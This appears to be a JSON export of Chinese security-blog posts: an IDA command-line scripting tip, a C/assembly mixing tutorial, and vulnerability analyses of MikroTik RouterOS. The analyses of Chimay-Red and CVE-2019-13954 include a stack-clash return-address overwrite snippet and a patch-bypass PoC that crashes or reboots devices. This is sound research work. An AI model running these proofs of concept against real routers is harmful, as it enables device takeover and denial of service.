`IDA`命令行运行`idapython`脚本\n\n在`IDA` `GUI`中可以通过执行`idapython`脚本来完成一些特定的工作,如果需要对多个程序执行相同的操作,一种方式是在`IDA` `GUI`中逐个程序执行对应的脚本,另一种更优雅的方式则是通过`IDA`命令行进行自动化批量分析。\n\n以`Windows`平台为例,针对单个程序,通过命令行自动执行`idapython`脚本的步骤如下:\n\n1. 调用`idat.exe/idat64.exe`对程序进行初始分析,生成对应的`idb`文件\n\n ```shell\n # processor type\n # x86/x86_64: metapc\n # arm: arm/armb\n # mips: mipsl/mipsb\n # PowerPC: ppcl/ppc\n $ \"<ida_path>\" -A -B -L\"<log_file>\" -p<processor_type> -o<idb_path> <binary_path>\n ```\n\n2. 基于生成的`idb`文件,运行对应的自动化脚本\n\n ```shell\n $ \"<ida_path>\" -A -S\"<script_path> <arg1> <arg2>\" -L\"<log_file>\" <idb_path>\n ```\n \n\n> 添加`-L<log_file>`选项,便于查看和定位`idapython`脚本中的错误\n\n其中,`idapython`脚本中通过`ARGV[i]`来获取传递的参数,同时最后通过调用`idc.Exit(0)`退出。\n\n```python\narg1 = ARGV[1]\narg2 = ARGV[2]\n# ... # do what you want \nidc.Exit(0)\n```\n\n`Linux`平台与`Windows`平台类似,但存在细微差别:1) `ida`可执行程序变为`idal/idal64`;2) 在命令行参数最开始加上`TVHEADLESS=1`,最后可加上 `> /dev/null`。\n\n```shell\n$ TVHEADLESS=1 \"<ida_path>\" -B -p\"<processor_type>\" -o\"<idb_path>\" \"<binary_path>\" > /dev/null\n```\n\n另外,推荐一个`nccgroup`开源的框架[idahunt](https://github.com/nccgroup/idahunt),其支持对二进制文件进行批量分析,也能执行`idapython`脚本,功能比较强大,感兴趣的可以看看。\n\n#### 附件下载\n\n[示例脚本](ida_cmdline_demo.zip)\n\n#### 相关链接\n\n+ [IDA Help: Command line switches](https://www.hex-rays.com/products/ida/support/idadoc/417.shtml)\n+ [idahunt: a framework to analyze binaries with IDA Pro](https://github.com/nccgroup/idahunt)\n","tags":["技巧"],"categories":["基础"]},{"title":"Mikrotik Chimay-Red 分析","url":"/2020/03/03/Mikrotik-Chimay-Red-分析/","content":"\n### 前言\n\n`Chimay-Red`是针对`MikroTik RouterOs`中`www`程序存在的一个漏洞的利用工具,该工具在泄露的`Vault 7`文件中提及。利用该工具,在无需认证的前提下可在受影响的设备上实现远程代码执行,从而获取设备的控制权。该漏洞本质上是一个整数溢出漏洞,对漏洞的利用则通过堆叠远程多线程栈空间的思路完成。更多信息可参考博客[Chimay-Red](https://blog.seekintoo.com/chimay-red/)。\n\n下面结合已有的漏洞利用脚本[Chimay-Red](https://github.com/BigNerd95/Chimay-Red),对该漏洞的形成原因及利用思路进行分析。\n\n<!-- more -->\n\n### 环境准备\n\n`MikroTik`官方提供了多种格式的镜像,可以利用`.iso`和`.vmdk`格式的镜像,结合`VMware`虚拟机来搭建仿真环境。具体的步骤可参考文章 [Make It Rain with MikroTik](https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6) 和 [Finding and exploiting CVE-2018–7445](https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1),这里不再赘述。\n\n根据`MikroTik`官方的公告,该漏洞在`6.38.5`及之后的版本中进行了修复,这里选取以下镜像版本进行分析。\n\n+ `6.38.4`,`x86`架构,用于进行漏洞分析\n+ `6.38.5`,`x86`架构,用于进行补丁分析\n\n搭建起仿真环境后,还需要想办法获取设备的`root shell`,便于后续的分析与调试。参考议题`《Bug Hunting in RouterOS》`,获取`root shell`的方法如下:\n\n1. 通过挂载`vmdk`并对其进行修改:在`/rw/pckg`目录下新建一个指向`/`的符号链接(`ln -s / .hidden`)\n2. 重启虚拟机后,以`ftp`方式登录设备,切换到`/`路径(`cd .hidden`),在`/flash/nova/etc`路径下新建一个`devel-login`目录\n3. 以`telnet`方式登录设备(`devel/<admin账户的密码>`),即可获取设备的`root shell`\n\n### 漏洞定位\n\n借助`bindiff`工具对两个版本中的`www`程序进行比对,匹配结果中相似度较低的函数如下。\n\n<img src=\"images/bindiff_matched.png\" style=\"zoom:75%\">\n\n逐个对存在差异的函数进行分析,结合已知的漏洞信息,确定漏洞存在于`Request::readPostDate()`函数中,函数控制流图对比如下。\n\n<img src=\"images/bindiff_flow_graph.png\" style=\"zoom:75%\">\n\n`6.38.4`版本中`Request::readPostDate()`函数的部分伪代码如下,其主要逻辑是:获取请求头中`content-length`的值,根据该值分配对应的栈空间,然后再从请求体中读取对应长度的内容到分配的缓冲区中。由于`content-length`的值外部可控,且缺乏有效的校验,显然会存在问题。\n\n```c++\nchar Request::readPostData(Request *this, string *a2, unsigned int a3)\n{\n // ...\n v9 = 0;\n string::string((string *)&v8, \"content-length\");\n v3 = Headers::getHeader((Headers *)this, (const string *)&v8, &v9);\n // ...\n if ( !v3 || a3 && a3 < v9 ) // jsproxy.p中, 传入的参数a3为0\n return 0;\n v4 = alloca(v9 + 1);\n v5 = (_DWORD *)istream::read((istream *)(this + 8), (char *)&v7, v9);\n // ...\n}\n```\n\n### 漏洞分析\n\n通过对`www`程序进行分析,针对每个新的连接,其会生成一个新线程来进行处理,而每个线程的栈空间大小为`0x20000`。\n\n```c++\n// main()\nstacksize = 0;\npthread_attr_init(&threadAttr);\npthread_attr_setstacksize(&threadAttr, 0x20000u);\t// 设置线程栈空间大小\npthread_attr_getstacksize(&threadAttr, &stacksize);\n\n// Looper::scheduleJob()\npthread_cond_init((pthread_cond_t *)(v6 + 4), 0);\nif ( !pthread_create((pthread_t *)v6, &threadAttr, start_routine, v6) ) {}\n```\n\n`www`进程拥有自己的栈,创建的线程也会拥有自己的栈和寄存器,而`heap`、`code`等部分则是共享的。那各个线程的栈空间是从哪里分配的呢? 简单地讲,进程在创建线程时,线程的栈空间是通过`mmap(MAP_ANONYMOUS|MAP_STACK)`来分配的。同时,多个线程的栈空间在内存空间中是相邻的。\n\n> Stack space for a new thread is created by the parent thread with `mmap(MAP_ANONYMOUS|MAP_STACK)`. So they're in the \"memory map segment\", as your diagram labels it. It can end up anywhere that a large `malloc()` could go. (glibc `malloc(3)` uses `mmap(MAP_ANONYMOUS)` for large allocations.) ([来源](https://stackoverflow.com/questions/44858528/where-are-the-stacks-for-the-other-threads-located-in-a-process-virtual-address))\n\n结合上述知识,当`content-length`的值过小(为负数)或过大时,都会存在问题,下面分别对这2种情形进行分析。\n\n#### content-length的值过小(为负数)\n\n以`content-length=-1`为例,设置相应的断点后,构造数据包并发送。命中断点后查看对应的栈空间,可以看到,进程栈空间的起始范围为`0x7fc20000~0x7fc41000`,而当前线程栈空间的起始范围为`0x774ea000~0x77509000`,夹杂在映射的`lib`库中间。\n\n```assembly\npwndbg> i threads\n Id Target Id Frame\n 1 Thread 286.286 \"www\" 0x77513f64 in poll () from target:/lib/libc.so.0\n* 2 Thread 286.350 \"www\" 0x08055a53 in Request::readPostData(string&, unsigned int)\npwndbg> vmmap\nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA\n 0x8048000 0x805c000 r-xp 14000 0 /nova/bin/www\n// ...\n 0x805d000 0x8069000 rw-p c000 0 [heap]\n0x774d7000 0x774db000 r-xp 4000 0 /lib/libucrypto.so\n// ...\n0x774e9000 0x774ea000 ---p 1000 0\n0x774ea000 0x77509000 rw-p 1f000 0 <=== 当前线程的栈空间\n0x77509000 0x7750a000 r--p 1000 0 /nova/etc/www/system.x3\n// ...\n0x7fc20000 0x7fc41000 rw-p 21000 0 [stack]\n0xffffe000 0xfffff000 r-xp 1000 0 [vdso]\npwndbg> xinfo esp\nExtended information for virtual address 0x77508180:\n\n Containing mapping:\n0x774ea000 0x77509000 rw-p 1f000 0\n\n Offset information:\n Mapped Area 0x77508180 = 0x774ea000 + 0x1e180\n```\n\n对应断点处的代码如下,其中`alloca()`变成了对应的内联汇编代码。\n\n```assembly\npwndbg> x/12i $eip\n=> 0x8055a53\tmov edx,DWORD PTR [ebp-0x1c]\t\t// 保存的是content-length的值\n 0x8055a56 \tlea eax,[edx+0x10]\t// 以下3行为与alloca()对应的汇编代码\n 0x8055a59\tand eax,0xfffffff0\t\t\t\t\n 0x8055a5c\tsub esp,eax\t\t// 计算后的eax为0,故esp不变\n 0x8055a5e\tmov edi,esp\n 0x8055a60\tpush eax\n 0x8055a61\tpush edx\t\t\t// content-length的值, 为-1\n 0x8055a62\tpush edi\n 0x8055a63\tmov eax,DWORD PTR [ebp+0x8]\n 0x8055a66\tlea esi,[eax+0x20]\n 0x8055a69\tpush esi\n 0x8055a6a\tcall 0x8050c40\t// istream::read(char *,uint)\n```\n\n由于`content-length=-1`,调用`alloca()`后栈空间未进行调整,之后在调用`istream::read()`时,由于传入的`size`参数为`-1`(即`0xffffffff`),继续执行时会报错。\n\n```\npwndbg> c \nThread 2 \"www\" received signal SIGSEGV, Segmentation fault. \n0x77569e0e in streambuf::xsgetn(char*, unsigned int) () from target:/lib/libuc++.so \nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA \n──────────────────────────[ REGISTERS ]────────────────────────── \n*EDI 0x77509000 ◂— 0x75e \n*ESI 0x8065ca7 ◂— 0x6168c08 \n──────────────────────────[ DISASM ]────────────────────────────\n ► 0x77569e0e rep movsb byte ptr es:[edi], byte ptr [esi] \n```\n\n在崩溃点`0x77569e90`处,`edi`的值为`0x77509000`,由于其指向的地址空间不可写,故出现`Segmentation fault`。\n\n```assembly\n0x774ea000 0x77509000 rw-p 1f000 0 <=== 当前线程的栈空间\n0x77509000 0x7750a000 r--p 1000 0 /nova/etc/www/system.x3\n```\n\n注意到在调用`istream::read()`时,传入的第一个参数为当前的栈指针`esp`(其指向的空间用于保存读取的内容),在读取的过程中会覆盖栈上的内容,当然也包括返回地址(如执行完`Request::readPostData()`后的返回地址)。\n\n```assembly\npwndbg> x/wx $esp\n0x77508180: 0x77508208\npwndbg> x/4wx $ebp\n0x775081a8: 0x77508238 0x774e0e69 <===返回地址 0x77508328 0x775081f4\n```\n\n因此,有没有可能在这个过程中进行利用呢? 如果想要进行利用,大概需要满足如下条件。\n\n+ `content-length`的值在`0x7ffffff0~0xffffffff`范围内 (使线程的栈空间向高地址方向增长)\n+ 在调用`istream::read()`时,在读取请求体中的部分数据后,能使其提前返回\n\n由于`\\x00`不会影响`istream::read()`,而只有当读到文件末尾时才会提前结束,否则会一直读取直到读取完指定大小的数据。在测试时发现,无法满足上述条件,因此在这个过程中没法利用。\n\n> `Chimay-Red`中通过关闭套接字的方式使`istream::read()`提前返回,但并没有读取请求体中的数据。如果有其他的方式,欢迎交流:)\n\n#### content-length的值过大\n\n根据前面可知,当`content-length`的值过大时(`>0x20000`),在`Request::readPostData()`中,会对线程的栈空间进行调整,使得当前线程栈指针`esp`\"溢出\"(即指向与当前线程栈空间相邻的低地址区域)。同样在执行后续指令时,由于`esp`指向的某些地址空间不可写,也会出现`Segmentation fault`。\n\n```assembly\npwndbg> vmmap\nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA\n 0x8048000 0x805c000 r-xp 14000 0 /nova/bin/www\n 0x805c000 0x805d000 rw-p 1000 14000 /nova/bin/www\n 0x805d000 0x8069000 rw-p c000 0 [heap]\n0x774d7000 0x774db000 r-xp 4000 0 /lib/libucrypto.so\n0x774db000 0x774dc000 rw-p 1000 3000 /lib/libucrypto.so\n0x774dc000 0x774e6000 r-xp a000 0 /nova/lib/www/jsproxy.p\n0x774e6000 0x774e7000 rw-p 1000 a000 /nova/lib/www/jsproxy.p (使esp\"溢出\"到这里)\n0x774e9000 0x774ea000 ---p 1000 0\n0x774ea000 0x77509000 rw-p 1f000 0\t <=== 当前线程的栈空间\n0x77509000 0x7750a000 r--p 1000 0 /nova/etc/www/system.x3\n```\n\n在这个过程中是否可以进行利用呢? 通过向低地址方向调整当前线程的`esp`指针,比如使其溢出到`0x774e6000 ~0x774e7000`,然后再修改某些地址处的内容,但还是无法使得`istream::read()`在读取部分内容后提前返回,同样会出现类似的错误。\n\n### 漏洞利用\n\n`Chimay-Red`中通过堆叠两个线程栈空间的方式完成了漏洞利用。前面提到,针对每个新的连接,都会创建一个新的线程进行处理,而新创建的线程会拥有自己的栈空间,其大小为`0x20000`。同时,多个线程的栈空间在地址上是相邻的,起始地址间隔为`0x20000`。如果能够使某个线程的栈指针`esp`\"下溢\"到其他线程的栈空间内,由于栈空间内会包含返回地址等,便可以通过构造payload覆盖对应的返回地址,从而实现劫持程序控制流的目的。下面对该思路进行具体分析。\n\n首先,与服务`www`建立两个连接,创建的两个线程的栈空间初始状态如下。\n\n<img src=\"images/exploit_flow_1.png\" style=\"zoom:80%\">\n\n然后,`client1`发送`HTTP`请求头,其中`content-length`的值为`0x20900`。在对应的`thread1`中,先对当前栈指针`esp`进行调整,然后调用`istream::read()`读取请求体数据,对应的栈空间状态如下。由于此时还未发送`HTTP`请求体,因此`thread1`在某处等待。\n\n<img src=\"images/exploit_flow_2.png\" style=\"zoom:80%\">\n\n同样,`client2`发送`HTTP`请求头,其中`content-length`的值为`0x200`。类似地,在对应的`thread2`中,先对当前栈指针`esp`进行调整,然后调用`istream::read()`读取请求体数据,对应的栈空间状态如下。由于此时还未发送`HTTP`请求体,`thread2`也在某处等待。\n\n<img src=\"images/exploit_flow_3.png\" style=\"zoom:80%\">\n\n之后,`client1`发送`HTTP`请求体,在`thread1`中读取发送的数据,并将其保存在`thread1`的`esp(1)`指向的内存空间中。当发送的数据长度足够长时,保存的内容将覆盖`thread2`栈上的内容,包括函数指针、返回地址等。例如当长度为`0x20910-0x210-0x14`时,将覆盖函数`istream::read()`执行完后的返回地址。实际上,当`thread2`执行`istream::read()`时,对应的栈指针`esp(2)`将继续下调,以便为函数开辟栈帧。同时由于函数`isteam::read()`内会调用其他函数,因此也会有其他的返回地址保存在栈上。经过测试,`client1`发送的`HTTP`请求体数据长度超过`0x54c`时,就可以覆盖`thread2`栈上的某个返回地址。\n\n> 在这个例子中,`0x54c` 是通过`cyclic pattern`方式确定的。\n\n<img src=\"images/exploit_flow_4.png\" style=\"zoom:80%\">\n\n此时,`thread2`仍然在等待`client2`的数据,`client2`通过关闭连接,即可使对应的函数返回。由于对应的返回地址已被覆盖,从而达到劫持控制流的目的。\n\n参考`Chimay-Red`工具中的[StackClashPOC.py](https://github.com/BigNerd95/Chimay-Red/blob/master/POCs/StackClashPOC.py),对应上述流程的代码如下。\n\n```python\n# 可参考StackClashPOC.py中详细的注释\ndef stackClash(ip):\n s1 = makeSocket(ip, 80) # client1, thread1\n s2 = makeSocket(ip, 80) # client2, thread2\n\n socketSend(s1, makeHeader(0x20900)) \n socketSend(s2, makeHeader(0x200)) \n socketSend(s1, b'a'*0x54c+ struct.pack('<L', 0x13371337))\t# ROP chain address\n s2.close() \n```\n\n需要说明的是,`Chimay-Red`工具中的流程与上述流程存在细微的区别,其实质在于`thread1`保存请求体数据的操作与`thread2`为执行`isteam::read()`函数开辟栈空间的操作的先后顺序。\n\n在能够劫持控制流后,后续的利用就比较简单了,常用的思路如下。\n\n+ 注入`shellcode`,然后跳转到`shellcode`执行\n\n+ 调用`system()`执行`shell`命令\n\n + 当前程序存在`system()`,直接调用即可\n\n + 当前程序不存在`system()`:寻找合适的`gadgets`,通过修改`got`的方式实现 \n\n > `Chimay-Red`工具: 由于`www`程序中存在`dlsym()`,可通过调用`dlsym(0,\"system\")`的方式查找`system()` \n\n### 补丁分析\n\n在`6.38.5`版本中对该漏洞进行了修复,对应的`Request::readPostDate()`函数的部分伪代码如下。其中,1) 在调用该函数时,传入的`a3`参数为`0x20000`,因此会对`content-length`的大小进行限制;2) 读取的数据保存在string类型中,即将数据保存在堆上。\n\n```c++\nchar Request::readPostData(Request *this, string *a2, unsigned int a3)\n{\n // ...\n v7 = 0;\n string::string((string *)&v6, \"content-length\");\n v3 = Headers::getHeader((Headers *)this, (const string *)&v6, &v7);\n if ( v3 )\n {\n if ( a3 >= v7 ) // jsproxy.p中, 传入的参数a3为0x20000\n {\n string::string((string *)&v6);\n wrap_str_assign(a2, (const string *)&v6);\n string::~string((string *)&v6);\n string::resize(a2, v7, 0); // 使用sting类型来保存数据\n v5 = istream::read((istream *)(this + 8), (char *)(*(_DWORD *)a2 + 4), v7);\n // ...\n```\n\n### 小结\n\n+ 漏洞形成的原因为:在获取`HTTP`请求头中`content-length`值后,未对其进行有效校验,造成后续存在整数溢出问题;\n+ `Chimay-Red`工具中通过堆叠两个线程栈空间的方式完成漏洞利用。\n\n### 相关链接\n\n+ [Chimay-Red](https://blog.seekintoo.com/chimay-red/)\n+ [Chimay-Red: Working POC of Mikrotik exploit from Vault 7 CIA Leaks](https://github.com/BigNerd95/Chimay-Red)\n+ [Chimay-Red: RouterOS Integer Overflow Analysis](https://www.anquanke.com/post/id/195767)\n\n\n\n<br/>\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/200087](https://www.anquanke.com/post/id/200087)\n\n","tags":["MikroTik"],"categories":["IoT","漏洞"]},{"title":"C与汇编语言混合使用","url":"/2020/01/13/C与汇编语言混合使用/","content":"\n### 前言\n\n在某些情况下,我们可能会将C代码与汇编代码一起混合使用。比如,使用汇编代码直接与硬件进行交互,或者在处理任务时希望占用尽量少的资源同时获得最大的性能,而使用C代码处理一些更高级 的任务。通常情况下,混合使用C与汇编可分为以下三种情形:\n\n+ 在C中调用汇编中定义的函数\n+ 在汇编中调用C语言中的函数\n+ 直接在C语言中嵌入汇编\n\n<!-- more -->\n\n在介绍C与汇编混合使用之前,先介绍一下在Linux系统中进行系统调用时传参的约定,以及在进行函数调用时的传参约定。\n\n### Linux 系统调用约定\n\n**系统调用**是用户程序与Linux 内核之间的接口,用于让内核执行一些系统任务,如文件访问、进程管理及网络任务等。在Linux中,有多种方式可以用于进行系统调用,这里只介绍通过使用`int $0x80`或`syscall`产生软中断来进行系统调用的方式。该方法比较简单直观,方便在汇编代码中进行系统调用。\n\n#### int $0x80\n\n在Linux x86 和Linux x86_64中,可以直接使用`int $0x80`命令来进行系统调用。以Linux x86为例,参数传递规则如下,其中返回值通过寄存器eax返回。\n\n| 系统调用号 | 参数1 | 参数2 | 参数3 | 参数4 | 参数5 | 参数6 | 返回值 |\n| :--------: | :---: | :---: | :---: | :---: | :---: | :---: | :----: |\n| eax | ebx | ecx | edx | esi | edi | ebp | eax |\n\n系统调用号可以在`/usr/include/asm/unistd_32.h`文件中查看。在系统调用过程中,所有寄存器的值都会保持不变(除了`eax`用于返回值)。\n\n> 由于在Linux x86_64上,寄存器的名称发生了变化,其参数传递规则见下面\n\n#### syscall\n\n在Linux x86_64中引入了一条新的指令`syscall`,与`int $0x80`相比,由于不需要访问中断描述符表,所以会更快。其参数传递规则如下,其中返回值通过寄存器rax返回。\n\n| 系统调用号 | 参数1 | 参数2 | 参数3 | 参数4 | 参数5 | 参数6 | 返回值 |\n| :--------: | :---: | :---: | :---: | :---: | :---: | :---: | :----: |\n| rax | rdi | rsi | rdx | r10 | r8 | r9 | rax |\n\n系统调用号可以在`/usr/include/asm/unistd_64.h`文件中查看。在系统调用过程中,会改变寄存器`rcx`和`r11`的内容,其他寄存器的内容会保持不变(除了`rax`用于返回值)。\n\n### 函数调用传参约定\n\n在Linux x86中,使用gcc编译器进行程序编译时,函数调用时的参数传递规则如下:\n\n+ 函数参数通过栈传递,按照从右往左的顺序入栈;\n+ 函数返回值保存在寄存器`eax`中。\n\n在Linux x86_64中,函数调用时的参数传递规则如下:\n\n+ 前6个参数按从左往右的顺序分别通过寄存器`rdi`、`rsi`、`rdx`、`rcx`、`r8`、`r9`,剩下的参数按从右往左的顺序通过栈传递;\n+ 函数返回值保存在寄存器`rax`中。\n\n> 函数调用时的参数传递规则实际上与**函数调用约定**有关,与编译器无关,常见的函数调用约定包括`c调用约定`、`std调用约定`、`x86 fastcall约定`以及`C++调用约定`等。gcc编译器采用的c调用约定。\n\n### 在C中调用汇编中定义的函数\n\n以Linux x86为例,用汇编语言编写一个hello_world函数,输出\"Hello, World!\\n\"为例,其不需要任何参数,同时也没有返回值,相应的汇编代码如下:\n\n```assembly\n.globl hello_world\n.type hello_world, @function\n.section .data\nmessage: .ascii \"Hello, World!\\n\"\nlength: .int . - message\n.section .text\nhello_world:\n mov $4, %eax\n mov $1, %ebx\n mov $message, %ecx\n mov length, %edx\n int $0x80\n ret\n```\n\n> 由于使用gcc进行编译,因此汇编代码中使用AT&T语法。如果在用gcc编译时加上`-masm=intel`选项,则可以使用intel语法。当然,也可以使用nasm对汇编语言进行汇编,然后使用gcc完成链接过程,可参考[这里](https://www.devdungeon.com/content/how-mix-c-and-assembly)。\n\n然后编写一个C程序调用该函数,如下:\n\n```c\nextern void hello_world();\n \nvoid main()\n{\n hello_world();\n}\n```\n\n使用gcc进行编译,命令如下:\n\n```shell\ngcc -m32 hello_world.c hello_world.s -o hello_world\n```\n\n下面通过参数传递将\"Hello World!\"传入到汇编代码中,修改如下:\n\n```\n.globl hello_world\n.type hello_world, @function\n.section .text\nhello_world:\n mov $4, %eax\n mov $1, %ebx\n mov 4(%esp), %ecx\n mov $0xd, %edx\n int $0x80\n ret\n```\n\n对应的C程序如下:\n\n```\nextern void hello_world(char* value);\n \nvoid main()\n{\n hello_world(\"Hello World!\\n\");\n}\n```\n\n### 在汇编中调用C中的函数\n\n以`printf`为例,通过在汇编代码中调用`printf()`函数,示例代码如下:\n\n```assembly\n.extern printf\n.globl main\n.section .data\nmessage: .ascii \"hello,world!\\n\"\nformat: .ascii \"%s\"\n.section .text\nmain:\n push $message\n push $format\n mov $0, %eax\n call printf\n add $0x8, %esp\n ret\n```\n\n使用gcc编译如下:\n\n```shell\ngcc hello_world.s -o hello_world\n```\n\n> 1. 使用gcc编译汇编代码时,开始符号不再是_start而是main。由于main是一个函数,所以在最后必须要有`ret`指令;\n> 2. 在调用函数之前,寄存器`eax`/`rax`的值必须设为0。\n\n### 在C中嵌入汇编\n\n最直接的方式是在C程序中嵌入汇编代码,以Linux x86_64为例,示例代码如下:\n\n```c\n#include <stdio.h>\n \nint sum(int a, int b)\n{\n asm(\"addl %edi, %esi\");\n asm(\"movl %esi, %eax\");\n}\n \nint main()\n{\n printf(\"%d\\n\", sum(2, 3));\n return 0;\n}\n```\n\n在上面的示例代码中,也可以将多条汇编指令写在一起,如下:\n\n```\nasm(\n \"addl %edi, %esi\\n\\r\"\n \"movl %esi, %eax\\n\\r\"\n );\n```\n\n由于gcc编译器在进行解析时是先将汇编指令打印到一个文件中,所以需要带上格式化控制串。\n\n### 小结\n\n对Linux平台下的系统调用及函数调用时的传参约定进行了介绍,同时简单介绍了C与汇编语言混合使用的三种情形。\n\n> 如果想要进行更深入的理解,可自行查阅网上的相关资料。\n\n### 相关链接\n\n+ [Mixing Assembly and C](https://abnerrjo.github.io/blog/2016/02/27/mixing-assembly-and-c/)\n+ [How to Mix C and Assembly](https://www.devdungeon.com/content/how-mix-c-and-assembly)\n+ [Linux System Calls](https://cs.lmu.edu/~ray/notes/syscalls/)\n+ [X86 Assembly/Interfacing with Linux](https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux)","tags":["系统调用"],"categories":["基础"]},{"title":"MikroTik RouterOS漏洞CVE-2019-13954分析","url":"/2019/08/23/MikroTik-RouterOS漏洞CVE-2019-13954分析/","content":"\n### 漏洞简介\n\n`CVE-2019-13954`是`MikroTik RouterOS`中存在的一个`memory exhaustion`漏洞。认证的用户通过构造并发送一个特殊的`POST`请求,服务程序在处理`POST`请求时会陷入\"死\"循环,造成`memory exhaustion`,导致对应的服务程序崩溃或者系统重启。\n\n该漏洞与`CVE-2018-1157`类似,是由于对漏洞`CVE-2018-1157`的修复不完善造成。下面通过搭建`MikroTik RouterOS`仿真环境,结合漏洞`CVE-2018-1157`的`PoC`脚本及补丁,对漏洞`CVE-2019-13954`进行分析。\n\n<!-- more -->\n\n### `CVE-2018-1157`漏洞分析\n\n`MikroTik RouterOS`环境的搭建、`root shell`的获取及相关资料可参考文章《[CVE-2018-1158 MikroTik RouterOS漏洞分析之发现CVE-2019-13955](https://cq674350529.github.io/2019/08/15/CVE-2018-1158-MikroTik-RouterOS%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E5%8F%91%E7%8E%B0CVE-2019-13955/)》,这里不再赘述。\n\n根据`Tenable`的[漏洞公告](https://www.tenable.com/security/research/tra-2018-21)可知,漏洞`CVE-2018-1157`在`6.40.9`、`6.42.7`及`6.43`等版本中修复。为了便于对漏洞`CVE-2018-1157`进行分析,选取的相关镜像版本如下。\n\n+ `6.40.5`,`x86`架构,用于进行漏洞分析\n+ `6.42.11`,`x86`架构,用于进行补丁分析\n\n> 为了便于分析,临时关闭了系统的`ASLR`机制。\n\n与该漏洞相关的程序为`www`,在设备上利用`gdbserver`附加到该进程进行远程调试,然后运行对应的`PoC`脚本,发现系统直接重启,在本地`gdb`中捕获不到任何异常信息。根据漏洞公告中提到的`\"/jsproxy/upload\"`,在函数`JSProxyServlet::doUpload()`内设置断点,进行单步跟踪调试,发现会一直执行如下的代码片段。\n\n```c\nint __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)\n{\n // ...\n while ( 1 )\n {\n sub_77464E9F(v27, (char *)s1); // 读取POST请求数据\n if ( !LOBYTE(s1[0]) )\n break;\n string::string((string *)&v36, (const char *)s1);\n v11 = Headers::parseHeaderLine((Headers *)&v37, (const string *)&v36);\n string::freeptr((string *)&v36);\n if ( !v11 )\n {\n string::string((string *)&v36, \"\");\n Response::sendError(a4, 400, (const string *)&v36);\n string::freeptr((string *)&v36);\n LABEL_56:\n tree_base::clear(v13, v12, &v37, map_node_destr<string,HeaderField>);\n goto LABEL_57;\n }\n }\n // ...\n}\n```\n\n其中,函数`sub_77464E9F()`用于读取`POST`请求数据并将其保存在`s1`指向的内存地址空间,其伪代码如下。\n\n```c\nchar *__usercall sub_77464E9F@<eax>(istream *a1@<eax>, char *a2@<edx>)\n{\n\t// ...\n v2 = a2;\n istream::getline(a1, a2, 0x100u, 10); //第一个参数为this指针,读取的最大长度为0x100\n result = 0;\n v4 = strlen(v2) + 1;\n if ( v4 != 1 )\n {\n result = &v2[v4 - 2];\n if ( *result == 13 )\n *result = 0;\n }\n return result;\n}\n```\n\n可以看到,当满足以下任一条件时会跳出`while`循环。\n\n+ 调用`sub_77464E9F()`,未读取到数据\n+ 调用`Headers::parseHeaderLine()`,解析失败\n\n查看对应的`PoC`脚本,其对应的部分POST请求数据为`Content-Disposition: form-data; name=\"file\"; filename=\"<filename>\"\\r\\n`。\n\n```c++\nstd::string filename;\nfor (int i = 0; i < 0x200; i++)\n{\n filename.push_back('A');\n}\n\nif (jsSession.uploadFile(filename, \"lol.\"))\n{\n std::cout << \"success!\" << std::endl;\n}\n```\n\n当`filename`参数的值过长时,调用`istream::getline()`读取的内容一直为`Content-Disposition:form-data; name=\"file\"; filename=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...\"`(长度超过`0x100`)。由于上面的2个条件都不满足,造成`while`循环无法退出,一直执行最终导致`\"memory exhaustion\"`。\n\n### `CVE-2018-1157`补丁分析\n\n版本`6.42.11`中对`CVE-2018-1157`进行了修复,根据前面的分析,定位到`JSProxyServlet::doUpload()`中对应的代码片段,如下。可以看到,在补丁中增加了对读取的POST请求数据长度的判断:当长度超过`0x100`(包括最后的`'\\x00'`)时,会跳出while循环。\n\n> 由于两次`jsproxy.p`的加载基址不一样,所以部分函数的名称可能不一致。\n\n```c\nint __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)\n{\n // ...\n while ( 1 )\n {\n sub_774C31F7(v14, s1); // 读取POST请求数据\n if ( !LOBYTE(s1[0]) )\n break;\n v15 = -1;\n v16 = (char *)s1;\n do\n {\n if ( !v15 )\n break;\n v17 = *v16++ == 0;\n --v15;\n }\n while ( !v17 ); // 计算读取的数据内容的长度\n if ( v15 != 0xFFFFFEFF ) // 对应长度为0x100\n {\n v37 = 0;\n string::string((string *)&v46, (const char *)s1);\n v18 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46);\n string::freeptr((string *)&v46);\n if ( v18 )\n continue;\n }\n string::string((string *)&v46, \"\");\n Response::sendError(a4, 400, (const string *)&v46);\n string::freeptr((string *)&v46);\n LABEL_60:\n tree_base::clear(v20, v19, &v47, map_node_destr<string,HeaderField>);\n goto LABEL_61;\n }\n // ...\n}\n```\n\n### `CVE-2019-13954`发现\n\n通过对漏洞`CVE-2018-1157`分析可知,调用`istream::getline(a1, a2, 0x100u, '\\n')`读取数据时,如果请求数据过长(在遇到分隔符`'\\n'`前`0x100`个字符已被写入`a2`中),那么每次`a2`中的数据内容都是一样的。而在对应的补丁中,增加了对读取数据长度的判断。\n\n注意到,在调用`istream::getline(a1, a2, 0x100u, '\\n')`读取数据时,分隔符为`'\\n'`。也就是说,即使`filename`参数的值中包含`'\\x00'`,读取时也不会造成截断,但是会影响后面的长度计算。因此,只需要在`filename`参数后面追加大量的`'\\x00'`,即可绕过补丁,再次触发该漏洞。\n\n在原有`PoC`的基础上进行简单修改,在版本为`6.42.11`的设备上进行验证,发现系统直接重启了。\n\n```c++\nstd::string filename;\nfor (int i = 0; i < 0x50; i++)\n{\n\tfilename.push_back('A');\n}\n\nfor (int i = 0; i < 0x100; i++) // 追加'\\x00'\n{\n\tfilename.push_back('\\x00');\n}\n\nif (jsSession.uploadFile(filename, \"lol.\"))\n{\n\tstd::cout << \"success!\" << std::endl;\n}\n```\n\n通过代码静态分析,该漏洞在`\"Long-term\"`版本`6.43.16`上仍然存在。\n\n> `6.43.16`为发现该问题时\"Long-term\"系列的最新版本。该漏洞(`CVE-2019-13954`)目前已被修复,建议及时升级到最新版本。\n\n### 小结\n\n+ 